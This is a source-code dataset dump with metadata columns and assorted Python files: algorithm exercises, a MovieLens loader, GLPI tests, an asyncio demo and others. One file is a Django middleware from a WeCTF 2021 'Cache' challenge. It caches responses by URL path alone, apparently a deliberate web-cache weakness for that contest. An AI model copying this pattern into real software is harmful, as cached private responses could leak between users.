hexsha stringlengths 40 40 | size int64 6 782k | ext stringclasses 7
values | lang stringclasses 1
value | max_stars_repo_path stringlengths 4 237 | max_stars_repo_name stringlengths 6 72 | max_stars_repo_head_hexsha stringlengths 40 40 | max_stars_repo_licenses list | max_stars_count int64 1 53k ⌀ | max_stars_repo_stars_event_min_datetime stringlengths 24 24 ⌀ | max_stars_repo_stars_event_max_datetime stringlengths 24 24 ⌀ | max_issues_repo_path stringlengths 4 184 | max_issues_repo_name stringlengths 6 72 | max_issues_repo_head_hexsha stringlengths 40 40 | max_issues_repo_licenses list | max_issues_count int64 1 27.1k ⌀ | max_issues_repo_issues_event_min_datetime stringlengths 24 24 ⌀ | max_issues_repo_issues_event_max_datetime stringlengths 24 24 ⌀ | max_forks_repo_path stringlengths 4 184 | max_forks_repo_name stringlengths 6 72 | max_forks_repo_head_hexsha stringlengths 40 40 | max_forks_repo_licenses list | max_forks_count int64 1 12.2k ⌀ | max_forks_repo_forks_event_min_datetime stringlengths 24 24 ⌀ | max_forks_repo_forks_event_max_datetime stringlengths 24 24 ⌀ | content stringlengths 6 782k | avg_line_length float64 2.75 664k | max_line_length int64 5 782k | alphanum_fraction float64 0 1 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
9e1e72b54fb09473d1beeb7539659f05adf390cb | 560 | py | Python | Algorithms/Search_Algorithms/Binary_Search/BinarySearch_Recursive.py | hussamEL-Hwary/DS-Algo-Handbook | 86a97d586a4ca8b17168c0a9f5a9f43f856eba58 | [
"MIT"
] | 18 | 2016-11-01T04:00:36.000Z | 2021-09-13T14:26:35.000Z | Algorithms/Search_Algorithms/Binary_Search/BinarySearch_Recursive.py | JEERU/DS-Algo-Handbook | 86a97d586a4ca8b17168c0a9f5a9f43f856eba58 | [
"MIT"
] | 60 | 2016-10-11T14:50:47.000Z | 2016-10-31T11:05:01.000Z | Algorithms/Search_Algorithms/Binary_Search/BinarySearch_Recursive.py | JEERU/DS-Algo-Handbook | 86a97d586a4ca8b17168c0a9f5a9f43f856eba58 | [
"MIT"
] | 87 | 2016-09-08T05:04:50.000Z | 2016-10-30T19:19:53.000Z |
def binarySearch(arr, l, r, x):
if r >= l:
mid = l + (r - l)//2
if arr[mid] == x:
return mid
elif arr[mid] > x:
return binarySearch(arr, l, mid-1, x)
else:
return binarySearch(arr, mid+1, r, x)
else:
return -1
seq= list()
n = i... | 16.969697 | 81 | 0.532143 |
f579e80e17f8b37c01eaf45648ecdeb911222339 | 1,511 | py | Python | euler-49.py | TFabijo/euler2 | 7da205ce02ae3bd12754f99c1fe69fbf20b1e3d0 | [
"MIT"
] | null | null | null | euler-49.py | TFabijo/euler2 | 7da205ce02ae3bd12754f99c1fe69fbf20b1e3d0 | [
"MIT"
] | null | null | null | euler-49.py | TFabijo/euler2 | 7da205ce02ae3bd12754f99c1fe69fbf20b1e3d0 | [
"MIT"
] | null | null | null | from itertools import combinations
from itertools import permutations
from itertools import combinations_with_replacement
def je_prastevilo(n):
for x in range(2,int(n**0.5) + 1):
if n % x == 0:
return False
return True
def euler_49():
konbinacije = list(combinations_with_rep... | 27.981481 | 124 | 0.435473 |
19aaf3e5dfb59102707ab7ad410b68e3aab7be6d | 6,495 | py | Python | src/dataset.py | xbelda/movielens-recommender | 1e1335e2a2b9f57b948916ff415af149938caa33 | [
"MIT"
] | null | null | null | src/dataset.py | xbelda/movielens-recommender | 1e1335e2a2b9f57b948916ff415af149938caa33 | [
"MIT"
] | null | null | null | src/dataset.py | xbelda/movielens-recommender | 1e1335e2a2b9f57b948916ff415af149938caa33 | [
"MIT"
] | null | null | null | from typing import Dict, Optional, List
import pandas as pd
import pytorch_lightning as pl
import torch
from sklearn.preprocessing import MinMaxScaler, LabelEncoder
from torch.utils.data import Dataset, DataLoader
class MovielensDataset(Dataset):
def __init__(self, data: pd.DataFrame):
self.user_ids = da... | 36.083333 | 112 | 0.621093 |
8b541dfe5b7f4e7add24d0a824e3f85f2d98a40a | 578 | py | Python | foundation/erpnext_foundation/doctype/developer_sprint/developer_sprint.py | prafful1234/foundation | 6fcb027e76eae8d307c3dd70436a9657ff681f01 | [
"MIT"
] | 59 | 2017-03-15T08:14:52.000Z | 2021-11-17T14:21:58.000Z | foundation/erpnext_foundation/doctype/developer_sprint/developer_sprint.py | prafful1234/foundation | 6fcb027e76eae8d307c3dd70436a9657ff681f01 | [
"MIT"
] | 147 | 2017-01-25T10:44:47.000Z | 2020-11-05T04:24:22.000Z | foundation/erpnext_foundation/doctype/developer_sprint/developer_sprint.py | prafful1234/foundation | 6fcb027e76eae8d307c3dd70436a9657ff681f01 | [
"MIT"
] | 134 | 2017-03-14T14:04:21.000Z | 2022-03-18T08:19:47.000Z | # -*- coding: utf-8 -*-
# Copyright (c) 2018, EOSSF and contributors
# For license information, please see license.txt
from __future__ import unicode_literals
import frappe
from frappe.model.document import Document
from frappe.model.naming import make_autoname
class DeveloperSprint(Document):
def autoname(self):
... | 32.111111 | 76 | 0.735294 |
9a27c7cdb7d7e53c2368ae439d79adbdec946bce | 674 | py | Python | python-applications/palindrome-checker.py | sanxy/hacktoberfest-1 | 913582b310688d496602e8b1bc9166cb64866e38 | [
"MIT"
] | null | null | null | python-applications/palindrome-checker.py | sanxy/hacktoberfest-1 | 913582b310688d496602e8b1bc9166cb64866e38 | [
"MIT"
] | null | null | null | python-applications/palindrome-checker.py | sanxy/hacktoberfest-1 | 913582b310688d496602e8b1bc9166cb64866e38 | [
"MIT"
] | 1 | 2020-09-30T18:53:05.000Z | 2020-09-30T18:53:05.000Z | def PALINDROME():
print("_____________________________________________")
print()
print("Welcome,")
print()
n = int(input("Enter a number you want to check for Palindrome ------>"))
temp = n
rev=0
while n>0:
dig=n%10
rev=rev*... | 26.96 | 81 | 0.479228 |
ef5a8b523571095d6abd7c75106bfff6138597f7 | 450 | py | Python | Problems/Depth-First Search/medium/NumberProvince/number_provinces.py | dolong2110/Algorithm-By-Problems-Python | 31ecc7367aaabdd2b0ac0af7f63ca5796d70c730 | [
"MIT"
] | 1 | 2021-08-16T14:52:05.000Z | 2021-08-16T14:52:05.000Z | Problems/Depth-First Search/medium/NumberProvince/number_provinces.py | dolong2110/Algorithm-By-Problems-Python | 31ecc7367aaabdd2b0ac0af7f63ca5796d70c730 | [
"MIT"
] | null | null | null | Problems/Depth-First Search/medium/NumberProvince/number_provinces.py | dolong2110/Algorithm-By-Problems-Python | 31ecc7367aaabdd2b0ac0af7f63ca5796d70c730 | [
"MIT"
] | null | null | null | from typing import List
def findCircleNum(self, isConnected: List[List[int]]) -> int:
visited = set()
num_prov = 0
def dfs(cur_idx: int):
for idx, val in enumerate(isConnected[cur_idx]):
if idx not in visited and val:
visited.add(idx)
dfs(idx)
for ... | 23.684211 | 61 | 0.562222 |
3e940000169368d68b25b925fd63effca1a16940 | 17,543 | py | Python | Packs/GLPI/Integrations/GLPI/GLPI_test.py | jrauen/content | 81a92be1cbb053a5f26a6f325eff3afc0ca840e0 | [
"MIT"
] | 1 | 2021-11-02T05:36:38.000Z | 2021-11-02T05:36:38.000Z | Packs/GLPI/Integrations/GLPI/GLPI_test.py | jrauen/content | 81a92be1cbb053a5f26a6f325eff3afc0ca840e0 | [
"MIT"
] | 61 | 2021-10-07T08:54:38.000Z | 2022-03-31T10:25:35.000Z | Packs/GLPI/Integrations/GLPI/GLPI_test.py | jrauen/content | 81a92be1cbb053a5f26a6f325eff3afc0ca840e0 | [
"MIT"
] | null | null | null | """GLPI Integration for Cortex XSOAR - Unit Tests file"""
import json
import io
import ast
# from unittest.mock import Mock
import demistomock as demisto
from GLPI import Client, upload_file_command, get_user_name_command, create_user_command, update_user_command, \
delete_user_command, enable_user_command... | 58.089404 | 130 | 0.72137 |
f5c133958933b581f15601995a18abd6e7837d80 | 1,278 | py | Python | Chapter5_DNN/Chapter5_1_XORClassification/xorDnn.py | thisisjako/UdemyTF | ee4102391ed6bd50f764955f732f5740425a9209 | [
"MIT"
] | null | null | null | Chapter5_DNN/Chapter5_1_XORClassification/xorDnn.py | thisisjako/UdemyTF | ee4102391ed6bd50f764955f732f5740425a9209 | [
"MIT"
] | null | null | null | Chapter5_DNN/Chapter5_1_XORClassification/xorDnn.py | thisisjako/UdemyTF | ee4102391ed6bd50f764955f732f5740425a9209 | [
"MIT"
] | null | null | null | from typing import List
from typing import Tuple
import numpy as np
import tensorflow as tf
def get_dataset() -> Tuple[np.ndarray, np.ndarray]:
"""XOR dataset."""
x = np.array([[0, 0], [1, 0], [0, 1], [1, 1]])
y = np.array([[0], [1], [1], [0]])
return x, y
class Model:
def __init__(
sel... | 24.113208 | 73 | 0.600156 |
a029354af3602e3b139aa3f1316f355b0cb85b27 | 639 | py | Python | Python/Topics/AsyncIO/02-asynchronous.py | shihab4t/Software-Development | 0843881f2ba04d9fca34e44443b5f12f509f671e | [
"Unlicense"
] | null | null | null | Python/Topics/AsyncIO/02-asynchronous.py | shihab4t/Software-Development | 0843881f2ba04d9fca34e44443b5f12f509f671e | [
"Unlicense"
] | null | null | null | Python/Topics/AsyncIO/02-asynchronous.py | shihab4t/Software-Development | 0843881f2ba04d9fca34e44443b5f12f509f671e | [
"Unlicense"
] | null | null | null | from os import symlink
from re import S
import time
import asyncio
async def print_my_name(name, seconds):
print(f"Printing name {name} after {seconds} seconds")
await asyncio.sleep(seconds)
print(f"My name is {name}")
async def main():
f1 = loop.create_task(print_my_name("Sadman", 4))
f2 = loop... | 22.821429 | 60 | 0.679186 |
cd64cc5292b3addd200b13b3c98f6e15c821a80c | 806 | py | Python | bot.py | thysia-zosa/hardware-check | fc5803f2fd72559da03914e7e21ff83684fab5a0 | [
"MIT"
] | null | null | null | bot.py | thysia-zosa/hardware-check | fc5803f2fd72559da03914e7e21ff83684fab5a0 | [
"MIT"
] | null | null | null | bot.py | thysia-zosa/hardware-check | fc5803f2fd72559da03914e7e21ff83684fab5a0 | [
"MIT"
] | null | null | null | import requests
import yaml
def get_emoji(emojiName):
emoji = ""
if emojiName == "grinning":
emoji = '\U0001F601'
if emojiName == "hot":
emoji = '\U0001F525'
if emojiName == "cold":
emoji = '\U0001F976'
if emojiName == "sunglasses":
... | 27.793103 | 142 | 0.615385 |
3e0d171723f62eeb2cfbdb2c08d8703687a87088 | 499 | py | Python | Python/Sonstige_Uebungen/BEFAS/kokosnuss_problem.py | Apop85/Scripts | e71e1c18539e67543e3509c424c7f2d6528da654 | [
"MIT"
] | null | null | null | Python/Sonstige_Uebungen/BEFAS/kokosnuss_problem.py | Apop85/Scripts | e71e1c18539e67543e3509c424c7f2d6528da654 | [
"MIT"
] | 6 | 2020-12-24T15:15:09.000Z | 2022-01-13T01:58:35.000Z | Python/Sonstige_Uebungen/BEFAS/kokosnuss_problem.py | Apop85/Scripts | 1d8dad316c55e1f1343526eac9e4b3d0909e4873 | [
"MIT"
] | null | null | null | # Kokosnuss-Problem
# Beschreibung: 3 Piraten finden einen Haufen Kokosnüsse. In der Nacht steht einer nach dem anderen auf und
# nimmt ein Drittel der Nüsse weg und spendiert einem Affen eine Nuss. Wieviele Nüsse wurden mindestens gesammelt?
for nuts in range(1,10**6,3):
split_1=((nuts-1)/3*2)
split_2=((spl... | 35.642857 | 115 | 0.701403 |
3e3291ace6dbf5f388453467765ef59b20503656 | 108 | py | Python | Shivani/length.py | 63Shivani/Python-BootCamp | 2ed0ef95af35d35c0602031670fecfc92d8cea0a | [
"MIT"
] | null | null | null | Shivani/length.py | 63Shivani/Python-BootCamp | 2ed0ef95af35d35c0602031670fecfc92d8cea0a | [
"MIT"
] | null | null | null | Shivani/length.py | 63Shivani/Python-BootCamp | 2ed0ef95af35d35c0602031670fecfc92d8cea0a | [
"MIT"
] | null | null | null | a=int(input("enter length\n"))
b=a/100
c=a/100000
print("length in meter",b)
print("length in kilometer",c)
| 18 | 30 | 0.703704 |
3e35f38bab9f5a939a95243852c8be942ca05956 | 2,290 | py | Python | src/process_bgs.py | Haus4/studienarbeit-stau | 10921f8850df67c797cf174b42fbc5dcec257251 | [
"MIT"
] | 2 | 2018-10-16T08:09:13.000Z | 2019-02-18T13:33:11.000Z | src/process_bgs.py | Haus4/studienarbeit-stau | 10921f8850df67c797cf174b42fbc5dcec257251 | [
"MIT"
] | 7 | 2019-02-28T18:10:44.000Z | 2019-03-04T21:09:03.000Z | src/process_bgs.py | Haus4/studienarbeit-stau | 10921f8850df67c797cf174b42fbc5dcec257251 | [
"MIT"
] | 1 | 2020-04-05T08:53:13.000Z | 2020-04-05T08:53:13.000Z | import os
import cv2
import numpy
import image_utils
def parseImageWithMask(img, bgs, mask, show, name):
target = img.copy()
med = cv2.GaussianBlur(target, (5, 5), 1.2)
image_utils.applyMask(med, mask)
image_utils.applyMask(target, mask)
image = bgs.apply(med)
fgthres = cv2.threshold(image.c... | 29.74026 | 107 | 0.617904 |
e4a327cab602c1db2ba48a6611828e75279c125e | 2,507 | py | Python | src/data_science/data_science/data_processing/dataframing.py | viclule/api_models_deployment_framework | 7595cf0b4f3e277925b968014102d7561547bcd4 | [
"MIT"
] | null | null | null | src/data_science/data_science/data_processing/dataframing.py | viclule/api_models_deployment_framework | 7595cf0b4f3e277925b968014102d7561547bcd4 | [
"MIT"
] | null | null | null | src/data_science/data_science/data_processing/dataframing.py | viclule/api_models_deployment_framework | 7595cf0b4f3e277925b968014102d7561547bcd4 | [
"MIT"
] | null | null | null | # Functions to manipulate dataframes
def remove_row(df, row, reindex=True, ignore_error=True):
"""
Remove a row from a dataframe
:param df: dataframe
:param row: row number
:param reindex=True: reindex from zero
"""
index_name = df.index.name
try:
df.drop([row], inp... | 28.816092 | 79 | 0.622657 |
903ebb52c7ad64919dc5109cde0d879662e04e6f | 1,026 | py | Python | lib/python3.5/site-packages/GPSReader/GPSError.py | hwroitzsch/BikersLifeSaver | 469c738fdd6352c44a3f20689b17fa8ac04ad8a2 | [
"MIT"
] | null | null | null | lib/python3.5/site-packages/GPSReader/GPSError.py | hwroitzsch/BikersLifeSaver | 469c738fdd6352c44a3f20689b17fa8ac04ad8a2 | [
"MIT"
] | null | null | null | lib/python3.5/site-packages/GPSReader/GPSError.py | hwroitzsch/BikersLifeSaver | 469c738fdd6352c44a3f20689b17fa8ac04ad8a2 | [
"MIT"
] | null | null | null | # $Id: GPSError.py 31 2010-04-05 16:38:20Z cfluegel $
class GPSError(Exception):
""" Generelle GPS Exception """
def __str__(self):
return "ERROR: General GPS error"
#Todo: Delete maybe?
class GPSTelegramMalformed(GPSError):
def __str__(self):
return "ERROR: NMEA sentence is malformed!"
#Tod... | 25.65 | 84 | 0.677388 |
5f9930fc4ccbc10a02b953eee614150231e4a8c3 | 414 | py | Python | Utils/test_upload_flow/TestUploadFlow/Integrations/TestUploadFlow/TestUploadFlow_test.py | jrauen/content | 81a92be1cbb053a5f26a6f325eff3afc0ca840e0 | [
"MIT"
] | null | null | null | Utils/test_upload_flow/TestUploadFlow/Integrations/TestUploadFlow/TestUploadFlow_test.py | jrauen/content | 81a92be1cbb053a5f26a6f325eff3afc0ca840e0 | [
"MIT"
] | 40 | 2022-03-03T07:34:00.000Z | 2022-03-31T07:38:35.000Z | Utils/test_upload_flow/TestUploadFlow/Integrations/TestUploadFlow/TestUploadFlow_test.py | jrauen/content | 81a92be1cbb053a5f26a6f325eff3afc0ca840e0 | [
"MIT"
] | null | null | null |
import json
import io
def util_load_json(path):
with io.open(path, mode='r', encoding='utf-8') as f:
return json.loads(f.read())
def test_test_module():
"""Tests helloworld-say-hello command function.
Checks the output of the command function with the expected output.
No mock is needed h... | 19.714286 | 71 | 0.690821 |
5fb59c5eceb66094dac333db8312f088aa676d6c | 2,067 | py | Python | tests/test_quantel_properties.py | RatherBland/Quantel-py | abb4ec3c1f72a7409aea3eb0a5e0f1ad5c6dbbe1 | [
"MIT"
] | 37 | 2021-08-13T09:23:17.000Z | 2021-12-15T17:25:05.000Z | tests/test_quantel_properties.py | RatherBland/Quantel-py | abb4ec3c1f72a7409aea3eb0a5e0f1ad5c6dbbe1 | [
"MIT"
] | 1 | 2021-08-24T05:51:08.000Z | 2021-09-27T05:15:50.000Z | tests/test_quantel_properties.py | RatherBland/Quantel-py | abb4ec3c1f72a7409aea3eb0a5e0f1ad5c6dbbe1 | [
"MIT"
] | 2 | 2021-09-19T09:50:00.000Z | 2021-10-31T18:21:09.000Z | import os
from quantel import Quantel
qt = Quantel(api_key=os.getenv("QUANTEL_API_KEY"))
goog = qt.ticker('goog')
def test_quantel_income_statement():
assert 'GOOG' in goog.income_statement()[0]['symbol']
def test_quantel_income_statement_ttm():
assert 'GOOG' in goog.income_statement_ttm()[0]['symbol']
... | 23.224719 | 72 | 0.728108 |
5fb70ef379c4483748b71f515fc905cedadc55ea | 665 | py | Python | cache/cache/cache_middleware.py | wectf/2021 | 333086b618aae8f95449265b6ec94eb6db4e57a9 | [
"MIT"
] | 26 | 2021-06-20T17:01:16.000Z | 2022-02-22T03:13:18.000Z | WeCTF/2021/Cache/cache/cache_middleware.py | ruhan-islam/ctf-archives | 8c2bf6a608c821314d1a1cfaa05a6cccef8e3103 | [
"MIT"
] | null | null | null | WeCTF/2021/Cache/cache/cache_middleware.py | ruhan-islam/ctf-archives | 8c2bf6a608c821314d1a1cfaa05a6cccef8e3103 | [
"MIT"
] | 4 | 2021-06-20T17:08:19.000Z | 2021-07-04T08:36:56.000Z | import urllib.parse
from django.http import HttpResponse, HttpRequest
import time
CACHE = {} # PATH => (Response, EXPIRE)
class SimpleMiddleware:
def __init__(self, get_response):
self.get_response = get_response
def __call__(self, request: HttpRequest):
path = urllib.parse.urlparse(reques... | 30.227273 | 91 | 0.64812 |
39c1db77294d2ed597a2e8aac26538540a2152cc | 524 | py | Python | file_share/urls.py | Daniel-Hoerauf/cs3240-f16-team11 | 0377bcb8ede9599c04daf7683b065abb2a47f893 | [
"MIT"
] | null | null | null | file_share/urls.py | Daniel-Hoerauf/cs3240-f16-team11 | 0377bcb8ede9599c04daf7683b065abb2a47f893 | [
"MIT"
] | null | null | null | file_share/urls.py | Daniel-Hoerauf/cs3240-f16-team11 | 0377bcb8ede9599c04daf7683b065abb2a47f893 | [
"MIT"
] | null | null | null | from django.conf.urls import include, url
from django.contrib import admin
from django.contrib.auth import views as auth_views
urlpatterns = [
# Examples:
# url(r'^$', 'file_share.views.home', name='home'),
# url(r'^blog/', include('blog.urls')),
url(r'^login/$', auth_views.login, name='login'),
u... | 32.75 | 76 | 0.635496 |
f2f8e6b14174b3be890f223026b3a9776b4e574d | 841 | py | Python | fuzzsvc/model/_not_used_CrashBucketNote.py | ifoundthetao/FuzzFlow | 86559ac7f85fc89510c0d9647e02880edb95aa2a | [
"MIT"
] | 53 | 2016-08-26T02:51:45.000Z | 2021-05-24T21:05:44.000Z | model/_not_used_CrashBucketNote.py | FingerLeakers/FuzzFlow | 3f2de617c3658904f9640f53a05d5e4e90634e32 | [
"MIT"
] | null | null | null | model/_not_used_CrashBucketNote.py | FingerLeakers/FuzzFlow | 3f2de617c3658904f9640f53a05d5e4e90634e32 | [
"MIT"
] | 31 | 2016-08-26T04:08:31.000Z | 2021-05-24T21:05:54.000Z | from app import app
from datetime import *
db = app.config['db']
class CrashBucketNote(db.Model):
id = db.Column(db.Integer, primary_key=True)
note = db.Column(db.String(2048))
crash_bucket_id = db.Column(db.Integer, db.ForeignKey('crash_bucket_file.id'))
crash_bucket = db.relationship('CrashBucketFi... | 35.041667 | 83 | 0.606421 |
4b9c14a6f2f906f2f1b8491ac458b436e4c5d924 | 33 | py | Python | DeepRTS/python/test/__init__.py | Yigit-Arisoy/deep-rts | a5ed2c29b76789830df9f7075480c7229ccf0f4d | [
"MIT"
] | 144 | 2018-07-13T07:47:50.000Z | 2022-03-31T06:29:50.000Z | DeepRTS/python/test/__init__.py | Yigit-Arisoy/deep-rts | a5ed2c29b76789830df9f7075480c7229ccf0f4d | [
"MIT"
] | 18 | 2019-03-29T10:37:01.000Z | 2022-03-02T12:47:34.000Z | DeepRTS/python/test/__init__.py | Yigit-Arisoy/deep-rts | a5ed2c29b76789830df9f7075480c7229ccf0f4d | [
"MIT"
] | 23 | 2018-11-02T18:12:51.000Z | 2022-02-15T20:32:18.000Z | from DeepRTS.python.test import * | 33 | 33 | 0.818182 |
4bb6765cd83936580a85d4017e7b04e1c0224a52 | 213 | py | Python | manage.py | slaurianodev/msgraph | 617e5e7d890a06757ef38871d9ddecfac2852c84 | [
"MIT"
] | null | null | null | manage.py | slaurianodev/msgraph | 617e5e7d890a06757ef38871d9ddecfac2852c84 | [
"MIT"
] | null | null | null | manage.py | slaurianodev/msgraph | 617e5e7d890a06757ef38871d9ddecfac2852c84 | [
"MIT"
] | 1 | 2021-01-05T00:21:18.000Z | 2021-01-05T00:21:18.000Z | #!/usr/bin/env python
from flask_script import Manager, Shell, Server
from connect import app
manager = Manager(app)
manager.add_command("runserver", Server())
manager.add_command("shell", Shell())
manager.run()
| 23.666667 | 47 | 0.765258 |
29c3329463c062d57d44a37a69a9d1c24236b7ba | 1,052 | py | Python | vkapp/bot/models/news.py | ParuninPavel/lenta4_hack | 6d3340201deadf5757e37ddd7cf5580b928d7bda | [
"MIT"
] | 1 | 2017-11-23T13:33:13.000Z | 2017-11-23T13:33:13.000Z | vkapp/bot/models/news.py | ParuninPavel/lenta4_hack | 6d3340201deadf5757e37ddd7cf5580b928d7bda | [
"MIT"
] | null | null | null | vkapp/bot/models/news.py | ParuninPavel/lenta4_hack | 6d3340201deadf5757e37ddd7cf5580b928d7bda | [
"MIT"
] | null | null | null | from django.db import models
from .users import Blogger, Admin
class News(models.Model):
id = models.AutoField(primary_key=True)
link = models.CharField(max_length=300, blank=True, null=True)
pic = models.CharField(max_length=300, blank=True, null=True)
blogger = models.ForeignKey(Blogger, on_delete=m... | 36.275862 | 77 | 0.753802 |
29ebef1c418a5a8fa90e54c4118d9da8ec1e391e | 3,471 | py | Python | example/plugins/my_plugin.py | shipt/py-volley | 0114651478c8df7304d3fe3cb9f72998901bb3fe | [
"MIT"
] | 8 | 2022-02-24T14:59:24.000Z | 2022-03-31T04:37:55.000Z | example/plugins/my_plugin.py | shipt/py-volley | 0114651478c8df7304d3fe3cb9f72998901bb3fe | [
"MIT"
] | 3 | 2022-02-27T17:08:52.000Z | 2022-03-18T13:11:01.000Z | example/plugins/my_plugin.py | shipt/py-volley | 0114651478c8df7304d3fe3cb9f72998901bb3fe | [
"MIT"
] | 2 | 2022-02-24T15:03:07.000Z | 2022-03-15T03:12:00.000Z | from dataclasses import dataclass
from datetime import datetime
from typing import Any
from sqlalchemy import (
Boolean,
Column,
Float,
MetaData,
String,
Table,
create_engine,
text,
)
from sqlalchemy.dialects.postgresql import insert
from sqlalchemy.engine.base import Engine
from sqlalc... | 28.219512 | 117 | 0.585422 |
8a7bec4441644c3811d32e7c5dbe5329a8e86c8d | 3,340 | py | Python | bach_code/rnn.py | glasperfan/thesis | aead2dfb8052afbff4d05203a0be5b0b7ef69462 | [
"Apache-2.0"
] | 5 | 2015-12-08T21:47:41.000Z | 2020-10-28T12:39:08.000Z | bach_code/rnn.py | glasperfan/thesis | aead2dfb8052afbff4d05203a0be5b0b7ef69462 | [
"Apache-2.0"
] | null | null | null | bach_code/rnn.py | glasperfan/thesis | aead2dfb8052afbff4d05203a0be5b0b7ef69462 | [
"Apache-2.0"
] | 1 | 2020-10-28T12:39:09.000Z | 2020-10-28T12:39:09.000Z |
#
# c_rnn.py
# Restructure target data for RNN approach.
#
import numpy as np
import h5py
from helpers import freezeObject
np.set_printoptions(threshold=np.nan)
DATA_FILE = "data/chorales.hdf5"
OUT_FILE = "data/chorales_rnn.hdf5"
MAX_SEQ_LEN = 0
def load_dataset(name):
dataX, datay = [], []
with h5py.File(DATA_FI... | 32.427184 | 98 | 0.682036 |
8ac6de23ffa8cbe01bbe34084ef7de58d86a43fe | 818 | py | Python | resources/mechanics_lib/Cutout.py | PRECISE/ROSLab | 2a6a295b71d4c73bc5c6ae2ec0330274afa31d0d | [
"Apache-2.0"
] | 7 | 2016-01-20T02:33:00.000Z | 2021-02-04T04:06:57.000Z | resources/mechanics_lib/Cutout.py | PRECISE/ROSLab | 2a6a295b71d4c73bc5c6ae2ec0330274afa31d0d | [
"Apache-2.0"
] | null | null | null | resources/mechanics_lib/Cutout.py | PRECISE/ROSLab | 2a6a295b71d4c73bc5c6ae2ec0330274afa31d0d | [
"Apache-2.0"
] | 3 | 2016-10-05T07:20:30.000Z | 2017-11-20T10:36:50.000Z | from api.component import Component
from api.shapes import Rectangle
class Cutout(Component):
def defParameters(self):
self.newParameter("dx")
self.newParameter("dy")
self.newParameter("d")
self.newParameter("center", (0,0))
def assemble(self):
try:
dx = self.getParameter("d")
... | 26.387097 | 86 | 0.634474 |
76dd0f08d3e87b01024cef0483ba90439b9716c4 | 35,652 | py | Python | templates/adding_a_new_model/modeling_tf_xxx.py | dmlap/transformers | 79588e6fdb5af8add092fc27dd695ea1ebc68b18 | [
"Apache-2.0"
] | 3 | 2020-12-22T07:15:00.000Z | 2021-06-13T17:24:40.000Z | templates/adding_a_new_model/modeling_tf_xxx.py | dmlap/transformers | 79588e6fdb5af8add092fc27dd695ea1ebc68b18 | [
"Apache-2.0"
] | 6 | 2019-12-16T05:27:23.000Z | 2020-10-05T04:48:53.000Z | templates/adding_a_new_model/modeling_tf_xxx.py | dmlap/transformers | 79588e6fdb5af8add092fc27dd695ea1ebc68b18 | [
"Apache-2.0"
] | 1 | 2021-03-22T14:50:59.000Z | 2021-03-22T14:50:59.000Z | # coding=utf-8
# Copyright 2018 The Google AI Language Team Authors and The HuggingFace Inc. team.
# Copyright (c) 2018, NVIDIA CORPORATION. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a cop... | 43.960543 | 161 | 0.657046 |
0a32e8b802ad98d961f5cb3cef8a0e7cf19439d6 | 1,082 | py | Python | python/en/archive/dropbox/programmers/03-02-binary_search.py | aimldl/coding | 70ddbfaa454ab92fd072ee8dc614ecc330b34a70 | [
"MIT"
] | null | null | null | python/en/archive/dropbox/programmers/03-02-binary_search.py | aimldl/coding | 70ddbfaa454ab92fd072ee8dc614ecc330b34a70 | [
"MIT"
] | null | null | null | python/en/archive/dropbox/programmers/03-02-binary_search.py | aimldl/coding | 70ddbfaa454ab92fd072ee8dc614ecc330b34a70 | [
"MIT"
] | null | null | null | # 03-02-binary_search.py
# -*- coding: utf-8 -*-
# This works the same as L.index( x ).
#
# (03) 이진탐색
# 문제 설명
# 리스트 L 과, 그 안에서 찾으려 하는 원소 x 가 인자로 주어질 때, x 와 같은 값을 가지는 원소의 인덱스를 리턴하는 함수 solution() 을 완성하세요.
# 만약 리스트 L 안에 x 와 같은 값을 가지는 원소가 존재하지 않는 경우에는 -1 을 리턴합니다.
# 리스트 L 은 자연수 원소들로 이루어져 있으며, 크기 순으로 정렬되어 있다고 가정합니다. 또한, 동... | 21.215686 | 111 | 0.516636 |
811e3b7910b8de2155c5e5e9235d0de53bb1b146 | 1,428 | py | Python | Packs/GoogleChronicleBackstory/Scripts/ChroniclePotentiallyBlockedIPWidgetScript/ChroniclePotentiallyBlockedIPWidgetScript.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 799 | 2016-08-02T06:43:14.000Z | 2022-03-31T11:10:11.000Z | Packs/GoogleChronicleBackstory/Scripts/ChroniclePotentiallyBlockedIPWidgetScript/ChroniclePotentiallyBlockedIPWidgetScript.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 9,317 | 2016-08-07T19:00:51.000Z | 2022-03-31T21:56:04.000Z | Packs/GoogleChronicleBackstory/Scripts/ChroniclePotentiallyBlockedIPWidgetScript/ChroniclePotentiallyBlockedIPWidgetScript.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 1,297 | 2016-08-04T13:59:00.000Z | 2022-03-31T23:43:06.000Z | import demistomock as demisto
from CommonServerPython import *
import traceback
def get_html_representation(entity: str, potentially_isolated: str) -> str:
if not entity:
html = "<div style='color:grey; text-align:center;'><h1>No IP Address associated with the " \
"ChronicleAsset</h1></div... | 34.829268 | 116 | 0.633754 |
8128dc4801802f934bc8c125b47f41a19dfc4d55 | 18,845 | py | Python | internal/analyze.py | WarcraftPriests/sl-shadow-priest | 4c8753592b3cc18c6d2de7e9227e5adb8cef3208 | [
"MIT"
] | 13 | 2020-04-10T17:34:49.000Z | 2022-02-13T04:04:30.000Z | internal/analyze.py | WarcraftPriests/sl-shadow-priest | 4c8753592b3cc18c6d2de7e9227e5adb8cef3208 | [
"MIT"
] | 213 | 2020-04-10T04:15:00.000Z | 2022-01-20T19:18:55.000Z | internal/analyze.py | WarcraftPriests/sl-shadow-priest | 4c8753592b3cc18c6d2de7e9227e5adb8cef3208 | [
"MIT"
] | 7 | 2020-10-08T07:22:08.000Z | 2021-07-08T21:09:33.000Z | """creates results files from sim results"""
import re
import time
import json
import operator
import os
from datetime import datetime
import pandas
import yaml
from internal import utils
from internal.weights import find_weights
from internal.spell_ids import find_ids
with open("config.yml", "r", encoding="utf8") a... | 42.064732 | 101 | 0.571611 |
d4fa9346ecdf0291d071a6c5c1b4e22e30db978a | 1,498 | py | Python | api/utils/explain.py | cloud-cds/cds-stack | d68a1654d4f604369a071f784cdb5c42fc855d6e | [
"Apache-2.0"
] | 6 | 2018-06-27T00:09:55.000Z | 2019-03-07T14:06:53.000Z | api/utils/explain.py | cloud-cds/cds-stack | d68a1654d4f604369a071f784cdb5c42fc855d6e | [
"Apache-2.0"
